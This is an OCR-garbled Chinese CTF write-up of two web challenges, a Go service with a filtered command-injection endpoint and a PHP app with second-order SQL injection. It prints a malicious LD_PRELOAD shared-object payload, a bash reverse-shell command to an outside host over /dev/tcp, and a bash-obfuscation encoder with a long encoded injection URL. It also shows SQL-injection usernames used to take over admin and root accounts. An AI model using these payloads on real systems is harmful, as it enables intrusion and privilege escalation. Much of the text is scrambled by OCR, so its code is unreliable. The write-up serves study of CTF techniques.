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@ Dockerfile X

Mi{t > & Dockerfile > ...

1 FROM golang: latest
2
3 RUN mkdir -p /code/logs
4
5 COPY . /code
6
7 WORKDIR /code
8 \
9 RUN go build -o bin/web web/main.go && \
10 go build -o bin/proxy proxy/main.go && \
11 go build -o bin/server server/main.go
12 S v
13 RUN chmod -R 777 /code
14
15 RUN useradd web
16
17 ADD flag /flag
18
19 RUN chmod 400 /flag
20
21 ENTRYPOINT *"/code/start.sh"
% F start.sh (4

LL web F4r5iE4T web A proxy Bk

Pl root FIFE3EN server ZEHISCi

Bt > $ start.sh

echo “cat /proc/sys/kernel/random/uuid | md5sum |cut -c 1-9° > /tmp/secret/key
su — web -c¢ "/code/bin/web 2>&1 =>/code/logs/web.log &"

su — web -¢ "/code/bin/proxy 2>&1 >/code/logs/proxy.log &"

1

~N oo W N

/code/bin/server 2>&1 >/code/logs/server.log &

tai

1 -f /code/logs/*

& docker-compose.yml 30, HBGHH T —/NwH .



B4 > & docker-compose.yml
1 version: "3.0"

3 services:

4 web:

5 build: .

6 image: multi_stage_agency

7 # volumes:

8 # - .:/code

9 # command: tail -f /dev/null

10 ports:

n
12 # - 19091:9091

13 # — 18080:8080

i#i3 &% proxy/main.go. server/main.go. web/main.go T %1 R A web AE¥ 5 Al

proxy MRZFFTE 8080 I
eb IR ITHE 9890 ¥

server fREFAE 9091 ¥

FHaaRASHE I, B E web/maingo %, FEMA/RERH, FFHALE 9090 ¥ :

func main() {

file, err os.0Open("secret/key")
if err nil {
panic(err)

1
J

defer file.Close()
content, err ioutil.ReadAll(file)
SecretKey = string(content)

http.HandleFunc("/", IndexHandler)
fs http.FileServer(http.Dir("dist/static"))
http.Handle("/static/", http.StripPrefix("/static/", fs))
http.HandleFunc("/token", getToken)
http.HandleFunc("/upload", uploadFile)
http.HandleFunc("/list", listFile)

log.Print("start listen 9090")
err http.ListenAndServe(":9090", nil)

if err nil {

log.Fatal("ListenAndServe: ", err)

}

}



FHRABE /, &SR, st distindexhtml.

FEH /token BH, FERIER server i) getToken IR token, H R BEHFIET R, KETERBINFERNEANSE, £
CIEER

func getToken(w http.ResponseWriter, r *http.Request) {

values r.URL.Query()

fromHostList strings.Split(r.RemoteAddr, ":")
fromHost "

if len(fromHostList) 2 {
fromHost = fromHostList[O]
)i

r.Header.Set("Fromhost", fromHost)

command exec.Command("curl”, "-H", "Fromhost: "+fromHost, "127.0.0.1:9091")
for k, _ range values {

command.Env = append(command.Env, fmt.Sprintf("%s=%s", k, values.Get(k)))

)i

outinfo bytes.Buffer{}
outerr bytes.Buffer{}

command.Stdout outinfo
command.Stderr outerr

err command.Start()

if err nil {
fmt.Println(err.Error())

}
TokenResult{}

if err command.Wait(); err nil {
res.Failed outerr.String()

}

res.Success outinfo.String()

msg, _ json.Marshal(res)
w.Write(msg)

EH /upload B, FER EEMHH upload/[token]/[filename] , HH filename & iBid RandStringBytes BREFENLAE K,
1 5 NERF




func uploadFile(w http.ResponseWriter, r *http.Request) {

if r.Method "GET" {

fmt.Fprintf(w, "get")

} else {

values r.URL.Query()

token values.Get("token")

fromHostList strings.Split(r.RemoteAddr, ":")
fromHost "

if len(fromHostList) 2 {
fromHost = fromHostList[O]

}

if token " checkToken(token, fromHost) {

dir filepath.Join("uploads",token)
if _, err os.Stat(dir); err nil {
0s.MkdirAll(dir, ©766)

)i

files, err ioutil.ReadDir(dir)

if len(files) 5 {
command exec.Command("curl", "127.0.0.1:9091/manage")
command.Start()

r.ParseMultipartForm(32 pl2))
file, _, err r.FormFile("file")
if err nil {

msg, _ json.Marshal(UploadFileResult{Code: err.Error()})
w.Write(msg)

return

s
defer file.Close()

fileName RandStringBytes(5)

f, err os.OpenFile(filepath.Join(dir, fileName), os.0O_WRONLY|os.O_CREATE, 0666)
if err nil {
fmt.Println(err)
return
bj
defer f.Close()
io.Copy(f, file)
msg, _ json.Marshal(UploadFileResult{Code: fileName})
w.Write(msg)
} else {
msg, _ json.Marshal (UploadFileResult{Code: "ERROR TOKEN"})
w.Write(msg)

checkToken % f# | md5(SecretKey+ RemoteIp) RIGE token.

Ho/1ist BistRS bk BRSO, B AT,




% proxy/main.go £ K%, FFiTE 8080 ¥ 1, 5|F github.com/elazarl/goproxy 3ZH http AR, AEAMERE header 3k
WL secretkey FB, {EBRZ secret/key HINZ.

package main

import (

"github.com/elazarl/goproxy"
"io/ioutil"

"log"

"net/http"

os.0Open("secret/key")
if err nil {
panic(err)

1
J

defer file.Close()

content, err ioutil.ReadAll(file)

SecretKey string(content)

proxy goproxy .NewProxyHttpServer()

proxy.Verbose true

proxy.OnRequest().DoFunc(

func(r *http.Request,ctx *goproxy.ProxyCtx)(*http.Request, “http.Response) {

r.Header.Set("Secretkey", SecretKey)

return r,nil

3
log.Print("start listen 8080")
log.Fatal(http.ListenAndServe(":8080", proxy))

BRANFERBBFEHE S A js XM app.67303823400ea75ceda3.js ,» ‘B SourceMap HAH T -

Mi{& > dist > static > js > app.67303823400ea75ce4a3.js > ...
1 webpackJsonp([1],{"7Qvd": function(t,e){},NHnr:function(t,e,n){"u
2 //# sourceMappingURL=app.67303823400ea75ced4a3.js.map

AL B reverse-sourcemap T E M JS K SourceMap Hifs JR B :

npm install --global reverse-sourcemap

reverse-sourcemap -v app.67303823400ea75ced4a3.js.map -o test

KRINER token =B ENINE ?http_proxy=127.0.0.1:8080 .



list.js — src

RIREEE oeo list.js X

T2 webpack . L .
v ITHRRIERR api > list.js > [@] getList

X list.js api import * as API from './'
v SRC
// GetMapDepartment
export const getToken = params => API.GET('token?http_proxy=127.0.0.1:8080', params)

1

2

) 3

v api 4
index.js 5 export const getlList = params => API.GET('list', params)

6

7

8

9

list.js export const getUpload = params => API.POST('upload', params)

> components

> router
V App.vue 10 // WEBPACK FOOTER //
App.vuecba® 11 // ./src/api/list.js
main.js
@ [ ] chang@airrudderdeMacBook-Pro:~[air/mess X2

Last login: Fri Feb 25 16:40:06 on ttys000
You have new mail.
[

-V app.67303823400ea7/5ced4al3.js.map -0 test
reverse—sourcemap — Reverse englneering JavaScript and CSS sources from sourcemaps
Going to process total of 1 files
Outputting to directory: _ ;/test
Processing file app.67303823400ea75ce4a3.js.map
All sources were included in the sourcemap
Writing to file /test/webpack,src/App.vuecbhad
Writing to file /test/webpack,src/App.vue

to file /test/webpack,src/api/index.js

to file /test/webpack,/src/api/list.js

to file /test/webpack,src/components/upload.vue

to file /test/webpack,src/components/upload.vue301l
to file /test/webpack,src/router/index.js

to file /test/webpack,/src/main.js

LR EAE SRRt £ B 30 L token, 3 H £ 7 console Z43TERH token.



BREER

- FIFFRSREEEE
X WV upload.vue com...
- SRC LE LS
v api
J5 index.js
Js list.js
v components
IWIII!EHHHHIHEIIIIIIII
upload.vue3011
> router
¥ App.vue
App.vuecba9
JS main.js

> ki

upload.vue — src

V upload.vue X

components > V¥ upload.vue > {} "upload.vue" > & template

34 <script>

35 import { getToken, getList,getUpload } from "@/api/list";
36 export default {

37 name: 'upload’,

38 data () {

39 return {

40 list: I[1,

41 options: {

42 target: '',

43 testChunks: false

44 b

45 token:'"',

46 showUp:true

47 }

48 1,

49 methods:{

50 upload(){

51 this.showUp=!this.showUp

52 Y,

53 async getUserToken() {

54 let res = await getToken();

55 this.token=res.data.success

56 console. log("this.token",this.token)
57 [_this.options.target:'/upload?token:'+this.token ]
58 I

59 fileStatusText(status) {

60 if (status === 'success' ) {

61 this.getUserList()

62 H

63 },

64 async getUserList() {

65 let resl = await getToken();

66 let params={token:resl.data.success}
67 let res = await getList(params);

68 this.list=res.data.files

69 console.log(res)

BB B ©K token i& 2 JEH 7 EEFIH

BE#VH /token?http_proxy=127.0.0.1:8080 HiAEEZF] token=2ea6a3a71deb2db658544f67F1468897 :

& > X A FEZE| 1.14.71.254:28027/token?http_proxy=127.0.0.1:8080

"success":"2eabala7ld0b2db658544£f67£1468897", " "failed":""}

BE B W EBEITIF Console HAEE F:



& > C A FR2| 1.14.71.254:28027/# h A ® @ 'B s & # 0O ’ H
XX B REBX GRS

EEXAAE

— flag 15 bytes success
2EXH
B XVIBz
[x ﬂ Elements Console Recorder & Network HackBar Sources Application Performance Memory Security Lighthouse EditThisCookie B2 Q : X
P ©® topy © Filter Default levels ¥ 2 Issues: @2 *
(O Hide network (J Log XMLHttpRequests
(O Preserve log Eager evaluation
(0 Selected context only Autocomplete from history
Group similar messages in console Evaluate triggers user activation

Show CORS errors in console

DevTools failed to load source map: Could not load content for chrome-extension://dhdgffkkebhmkfjojejmpbldmpobfkfo/jquery.min.map: HTTP error: status code 404,
net: : ERR_UNKNOWN_URL_SCHEME

this.token 2ea6a3a71d0b2db658544T6771468897 (mummmmmm—— upload.vue:56
» {data: '', status: 200, statusText: 'OK', headers: {.}, config: {.}, ..} upload.vue: 69
v {data: {.}, status: 200, statusText: 'OK', headers: {.}, config: {.}, ..} B upload.vue:69

» config: {transitional: {.}, transformRequest: Array(1l), transformResponse: Array(1l), timeout: @, adapter: f, .}
»data: {files: Array(1)}
» headers: {content-length: '19', content-type: 'text/plain; charset=utf-8', date: 'Fri, 25 Feb 2022 ©9:02:26 GMT'}
vrequest: XMLHttpRequest
» onabort: f ()
»onerror: f ()
onload: null
» onloadend: f x()
onloadstart: null
onprogress: null
onreadystatechange: null
» ontimeout: f ()
readyState: 4
response: "{\"files\":[\"XV1Bz\"]1}"
responseText: "{\"files\":[\"Xv1Bz\"]}"
responseType; "
responseURL| "http://1.14.71.254:28027/1ist?7token=2eaba3a71d0b2db65854416711468897" ]
responseXML M=Trott

% server/main.go F %L, FFHAE 9091 i, WERKH

func main() {

file, err os.0Open("secret/key")
if err nil {
panic(err)

1
J

defer file.Close()
content, err ioutil.ReadAll(file)
SecretKey = string(content)

http.HandleFunc("/", getToken)
http.HandleFunc("/manage", manage)
log.Print("start listen 9091")

err http.ListenAndServe(":9091", nil)
if err nil {

log.Fatal("ListenAndServe:
1
J

, err)

1
J

EHBABE B2 getToken BBEL, 3KEUE R header Sk ) Secretkey , STEEREFITIFH secret/key WHEMXTEL, FHIX
FER 75 R R 8 18 SRORVE R A, it il 8080 i I M AEE U5 )i ki) . 3REXIE K header SkH i) Fromhost YENEK ip,
8 mds(Secretkey+Fromhost) fEAIREIR Token .



func getToken(w http.ResponseWriter, r *http.Request) {
header r.Header
token "error"

var sks []string = header["Secretkey" ]
sk "
if len(sks) 1
sk sks[9]
)i

var fromHosts []string = header["Fromhost"]
fromHost "

if len(fromHosts) 1
fromHost = fromHosts[0@]

}

if fromHost " sk " sk SecretKey {
data [1byte(sk + fromHost)
has md5.Sum(data)
token = fmt.Sprintf("%x", has)

)i

fmt.Fprintf(w, token)

)i

EH /manage BH, FBUERSE m, BT waf REFRH].

Hep waf BB T s, #IEM .+ 2, URIMRRTH, MARHA—A, FAdFHTESR,

func waf(c string) bool {
var t int32
t -0
blacklist [1string{".", "*",6 "»"
for _, s range c {
for _, b range blacklist {
if b string(s) {
return false
}
}

if unicode.IslLetter(s) {

if t s {
continue

bj
if t 0 {
t 5
} else {
return false

return true

}

B om Bt waf /56, WEPER] rm -rf uploads/ J5TH, RFEEPITX KWL, FHRMELRE:




func manage(w http.ResponseWriter, r *http.Request) {
values r.URL.Query()
m values.Get("m")
if lwaf(m) {
fmt.Fprintf(w, "waf!")
return

}

cmd fmt.Sprintf("rm -rf uploads/%s", m)
fmt.Println(cmd)

command exec.Command("bash", "-c", cmd)
outinfo bytes.Buffer{}
outerr bytes.Buffer{}
command.Stdout outinfo
command.Stderr outerr
err command.Start()
res "ERROR"
if err nil {
fmt.Println(err.Error())
)i
if err command.Wait(); err nil {
res outerr.String()
} else {
res = outinfo.String()

)i
fmt.Fprintf(w, res)

}

RIBFZXEJLPHEIZET, BE—T, HPAERA:

eb AUPR:
eb/main.go HH command.Env FEEZER I, A LAKEEME
eb/main.go W EAEFTIEE, TN RAEERESCHRIRS S

root AUFR:
server/main.go S m W%, Ak 9091 ¥ OIEA AR, REEE BV 2

M Dockerfile 1 %01& flag B R 400 , BIHF root REEE .

H web/main.go #i4bsE4E 2RI LD_PRELOAD , I EfE—ANEEM .so XHIEE LD _PRELOAD HEATE. PAT curl B,
MEPITEE .so XHHHMREG, MT5ERGLSIAT, ikt H 2 web R, FHAREEF flag XH. BT CAMEBILBEIR 15
i 127.0.0.1:9091 , ZMR5ZH root AUFRERE), ATRESIE waf I 58 B SIFEANEIT] .

H—/NBREX M

tinclude <stdlib.h>
#include <string.h>
attribute_ ((constructor))void payload() {
unsetenv("LD_PRELOAD");
const char* cmd getenv("CMD");
system(cmd) ;

Bt gec mFERL .so XHEFF LAE:




MR /code/uploads/<token>/<SALFENLICEZ > o

http://1.14.71.254:28097/token?LD_PRELOAD=/code/uploads/2ea6a3a71dob2db658544f671f1468897/XV1Bz&CMD=id

{"success":"uid=1000(web) gid=1000(web) groups=1000(web)\nerror","failed":""}

[w ﬂ Elements Console Recorder & Network HackBar Sources Application Performance Memory Security Lighthouse  »

LOAD SPLIT EXECUTE TEST ~ sQLl ~ XSS ~ LFI ~ SSTI ~ ENCODING ~ HASHING ~

URL
http://1.14.71.254:28097/token?LD_PRELOAD=/code/uploads/2ea6a3a71d0b2db658544f67f1468897/XVIBz&CMD=id

R WAT T, EEHA shell IR

/token?LD_PRELOAD=/code/uploads/2ea6a3a71d0b2db658544f671f1468897/XV1Bz&CMD=bash -c 'exec bash -i %26>/dev/tcp/vp

s_ip/2333 <%261'

—lvvp 2333

: Version 7.50 ( https://nmap.org/ncat )

: Listening on :::2333

: Listening on 0.0.0.0:2333

: Connection from 1.14.71.254.

: Connection from 1.14.71.254:60172.

: cannot set terminal process group (13): Inappropriate ioctl for device B2 ‘,

: no job control in this shell
web@a174904dd674:/code$ id
id v HASHING ~
uid=1000(web) gid=1000(web) groups=1000(web)
web@al74904dd674: /codes ]

URL
http://1.14.71.254:28097/token?LD_PRELOAD=/code/uploads/2ea6a3a71d0b2db658544f67f1468897/XVIBz&CMD=bash -c 'exec

bash -i %26>/dev/tcp/ 1/2333 <%261'

BN /flag RA root P A REEE, BEMRE T RE bin/server R root RE3NH, BT AR BERI A & R#AT R EX
/flag , FRFERAIAT LAZEZEI ) shell A curl £i53R 127.0.0.1:9091 ki) H server. A% SkE T gad waf, MG

TR REN

A] AR A AL iE B A s s R S WiESE, $% 34c3 CTF minbashmaxfun writeup 3CE B convert.py BIZAR A i),
payload:


https://medium.com/@orik_/34c3-ctf-minbashmaxfun-writeup-4470b596df60
https://gist.github.com/orikad/c49e9e13b82e82d21912fcbbf27b6687#file-convert-py

import sys
from urllib.parse import quote

El 'cat /flag'
if len(sys.argv)
a = sys.argv[1l]

out = r"${!#}<<<{"

for ¢ in "bash -c
if c e
out .
continue
out rU\$\ "\
out rU$((S(({H}<<H{H}) )#"
for binchar in bin(int(oct(ord(c))[2:]))[2:]:
if binchar "1
out r"${##}"
else:
out r"$#"
out r*))"

out Py

r*\g\""
c in a:
out r*\\"
out rU$(($(({H#}<<S{#H#}))#"
for binchar in bin(int(oct(ord(c))[2:]))[2:]:
if binchar "1t
out r"${##}"
else:
out r"$#"
out r*))"
r*\""

print('out ="', out)
print('quote(out) ="', quote(out))

BIEA ; B urd 55 %3b 7>FEm A4




curl http://127.0.0.1:9091/manage?m=%3b%24%7B%21%23%7D%3C%3C%3C%7B%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%
23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7)
D%24%23%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23)
67D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%2 8%
24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7)
B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29
629%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%2C%5C%24%
5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%2,
47%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C
624%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%
23%7D%29%29%5C%27%2C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%2,
3%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28
624%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%
23%24%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%2
3%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B,
623%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%2 3%
23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%29%2
9%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D
624%23%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%
7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%29%29%5C%5C%24%28%28%24%28%28%2
4%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23
624%7B%23%23%7D%29%29%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%
24%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%7D

83315 19 server ) manager 3445 waf NI4T cat /flag, &3 flag.

web@al74904dd674:/code$ cat /flag
cat /flag
cat: /flag: Permission denied
web@al74904dd674: /code$ curl http://127.0.0.1:9091/manage?m=%3b%24%7B%21%23%7D%3(%3C%3(%7B%5C%24%5(%27%5(%5(%24%28%28%24%28
%28%24%7B%23%23%7D%3(%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23
%7D%24%23%29%29%5C%27%5C%24%5 (%27 %5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3(%3(%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23
%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5 (%2 7%5(%24%5C%27%5C%5(%24%28%28%24%28%28%24%7B%23%23
%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29
%5C%27%5C%24%5 (%2 7%5 (%5 C%24%28%28%24%28%28%24%7B%23%23%7D%3(%3(%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23
%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%29%29%5C%27%2 C%5C%24%5C%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3(C%3(%24
%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5 (%2 7%5(%24%5C
%27%5C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3(%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24
%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5(%27%2 (%5 (C%24%5(%27%5(%5C%24%28%28%24%28%28%24%7B%23%23%7D%3(%3(%24%7B%23
%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5(%5(%24
%28%28%24%28%28%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%23%24%7B%23%23%7D%24%7B%23%23%7D
%24%23%24%7B%23%23%7D%29%29%5(%5(C%24%28%28%24%28%28%24%7B%23%23%7D%3(%3(%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%7B
%23%23%7D%24%23%24%23%24%7TB%23%23%7D%24%23%24%23%29%29%5 (%5 (C%24%28%28%24%28%28%24%7B%23%23%7D%3(%3(%24%7B%23%23%7D%29%29%23
%24%7B%23%23%7D%24%23%24%7B%23%23%7D%24%23%24%23%24%23%29%29%5 (%5 (%24%28%28%24%28%28%24%7B%23%23%7D%3(C%3(%24%7B%23%23%7D%29
%29%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%29%29%5(%5(%24%28%28%24%28%28%24%7B%23%23%7D
%3C%3(C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%1B%23%23%7D%24%23%29%29%5(%5(%24%28
%28%24%28%28%24%7B%23%23%7D%3(%3C%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24%7TB%23%23%7D%24%7B%23%23%7D%24%23%24
%7B%23%23%7D%24%23%29%29%5 (%5 (%24%28%28%24%28%28%24%7B%23%23%7D%3(%3(%24%7B%23%23%7D%29%29%23%24%7B%23%23%7D%24%23%24%23%24
%23%24%7B%23%23%7D%24%7B%23%23%7D%24%23%24%7B%23%23%7D%29%29%5 C%5C%24%28%28%24%28%28%24%7B%23%23%7D%3(C%3(%24%7B%23%23%7D%29
%29%23%24%7B%23%23%7D%24%23%24%23%24%7B%23%23%7D%24%23%24%23%24%71B%23%23%7D%24%7B%23%23%7D%29%29%5(%27%7D
<%24%23%24%7B%23%23%7D%24%7B%23%23%7D%29%29%5C%27%7D

% Total % Received % Xferd Average Speed Time Time Time Current

Dload Upload Total Spent Left Speed

100 45 100 45 (4] (4] 9000 ) ==f==l== ==j=={== =={==f== G0
NSSCTF{7ba7fe7a-1d16-4b12-b5e4-3b357de62e8a}

DIEANY R

HEBBEAK key BIFTZREUAE| H © K Token, WESREUA R b4 U AR

W waf BRECFH blacklist :

blacklist []Stl"ing{".", ||*||J ||?||J||#||Jll ||J|| ||J||$||}




go B E M BEIZ1T, BE M update.sh:

#!1/bin/sh
pkill server
pkill web

-r ./ /code

go build -o bin/web /code/web/main.go
go build -o bin/server /code/server/main.go

su - web -c "/code/bin/web 2>&1 >/code/logs/web.log &"
/code/bin/server 2>&1 >/code/logs/server.log

Penetratable

REIE WM S 3%

€ > C A FEZ| 1.14.71.254:28050/?id=1

Register

Name
aaa

Pass

Saying
aaa

M RS AL e F B — /static/s/req.js U1

function login

oW o A O @ nO@

let name=encodeURIComponent(Base64.encode($(".form-floating>input”).eq(0).val

let pass=hex_md5($(".form-floating>input").eq(1).val

$.ajax
url: '/?c=app&m=login’

type: 'post'’

data: 'name=' name+ '&pass=" pass

dataType: 'text'
success: function(data
let res=$%$.parseJSON(data




switch (res['type']){

case 'user': location.href="/?c=user"; break;
case 'admin': location.href="/?c=admin"; break;
case 'root': location.href="/?c=root"; break;
s
telse if(res|['alertFlag']){
alert(res['alertData']);

function userUpdateInfo(){

let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val())
let oldPass=$(".input-group>input").eq(1).val()hex md5($(".input-group>input").eq(1).val()):"";
let newPass=$%$(".input-group>input"”).eq(2).val()hex md5($(".input-group>input").eq(2).val()):"";
let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
$.ajax({

url: '/?c=user&m=updateUserInfo’,

type: 'post’',

data: 'name='+name+'&newPass="+newPass+'&oldPass="+0ldPass+'&saying="+saying,

dataType: 'text',
success: function(data){
alertHandle(data);

function signOut(){
$.ajax({
url: '/?c=app&m=signOut’,
type: 'get',
dataType: 'text',
success: function(data){
alertHandle(data);

[function alertHandle(data){
let res=$.parselSON(data);
if(res['alertFlag']){
alert(res['alertData']);
)i
if(res['location']){
location.href=res[ 'location'];

function changeAdminPage(type){
let page=$%$('.page').text();
if (type=="next'){
location.href="'?c=admin&m=getUserList&page="+(parselnt(page)+1);
)i
if (type=="last'){
location.href="'?c=admin&m=getUserList&page="+(parselnt(page)-1);




function changeRootPage(type){
let page=$('.page').text();
if (type=="next'){
location.href=">?c=root&m=getUserInfo&page="+(parselnt(page)+1);

bj
if (type=="last'){
location.href="?c=root&m=getUserInfo&page="+(parselnt(page)-1);

function updatePass(){

function adminHome(){
location.href="'/?c=root"

function getUserInfo(){
location.href="/?c=root&m=getUserInfo’

function getlLoglist(){
location.href="'/?c=root&m=getLoglList'

function downloadLog(filename){

location.href="/?c=root&m=downloadRequestLog&filename="+filename;

function register(){

let name=encodeURIComponent(Base64.encode($(".form-floating>input”).eq(2).val()))
let pass=hex_md5($(".form-floating>input").eq(3).val())
let saying=encodeURIComponent(Base64.encode($(".form-floating>input").eq(4).val()))
$.ajax({

url: '/?c=app&m=register’,

type: 'post’',

data: 'name=' name+ '&pass=" pass +'&saying=' +saying,

dataType: 'text',

success: function(data){

alertHandle(data);




BRI JE AT MBS

ER

Pretty WEICH \n  Actions v

POST /?c=user&m=updateUserInfo HTTP/1.1

Host: 1.14.71.254:28050 A

Content-Length: 103

Accept: text/plain, */*; g=0.01

X-Requested-With: XMLHttpRequest

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.109

Safari/537.36

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

8 Origin: http://1.14.71.254:28050

Referer: http://1.14.71.254:28050/2?c=user

10 Accept-Encoding: gzip, deflate

11 Accept-Language: zh-CN,zh;qg=0.9

12 Cookie: PHPSESSID=h12dj051e8ndv308m89m6£fmmp0;

13 Connection: close

14

15 name=YWFh&newPass=698d51al9d8al21ce581499d7b701668&0ldPass=
47bce5c74£589f4867dbd57e9ca9f808&saying=YWFh

AU B WN -

~

o

-
TaRz

Pretty WEICH Render \n  Actions v

HTTP/1.1 200 OK

Date: Sat, 26 Feb 2022 11:15:08 GMT

Server: Apache/2.4.29 (Ubuntu)

X-Powered-By: PHP/7.4.26

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 107

NV WN

©

10 Connection: close

11 Content-Type: text/html; charset=UTF-8

12

13 {"alertData":"\ud4fee\u6539\u6210\u529£f\uff0c\u5373\u5c06\u8df3\us

[E6G", "location":"\/2c=user","alertFlag":1}

python

R EHEB K name AHEARH 7, A B FAREXT NER, BrMEK SR

HWATBAFLE sql ZIRIEN, ZWRIEM admin'# AP, BFRFER adnin'#, WHHASTAPRET S, BEXREM adnin"#

R, &3 e KK REE S admin D T .

& > C A FZ€2£| 1.14.71.254:28050/2c=user

18
®

Name admin

*Pass  BRERIEWAREN
nPass TN BB
*Saying 222

admin"#'s Personal Information

Ea

REZRXBK admin HiEN 111, M admin/111 BRI, KA T —NUEEFIHSKIZhEE, AidHEH root 7.



€« > C A F%€=2| 1.14.71.254:28050/?c=admin&m=getUserList B A * ® @ 'él s <« N 0O ° :

B admin's User Panel | Export | Update | Delete | Insert |
— Id Name Saying Pass Admin
% 2 admin 222 698d51a19d8a121ce581499d7b701668 1
—_— 3 aaa aaa 698d51a19d8a121ce581499d7b701668 0
4  admin'# m 698d51a19d8a121ce581499d7b701668 0
5 admin"# 222 bcbe3365e6ac95ea2c0343a2395834dd 0
E—m || T—m
FREREM root"# HFIBHEN, FidBEENR.
A FEF | 1.14.71.254:28050/?c=user
1.14.71.254:28050 &/~
[[FTA]
root"#'s Personal Informa
EANE
|
Name root

*Pass

nPass ces

*Saying 111

R

Bl £ %& ZHTH js AAHG:



[function userUpdateInfo(){

let name=encodeURIComponent(Base64.encode($(".input-group>input™).eq(0).val()))

let oldPass=$(".input-group>input").eq(1).val() hex_md5($(".input-group>input™”).eq(1).val()):"";
let newPass=$(".input-group>input").eq(2).val() hex_md5($(".input-group>input"”).eq(2).val()):"";
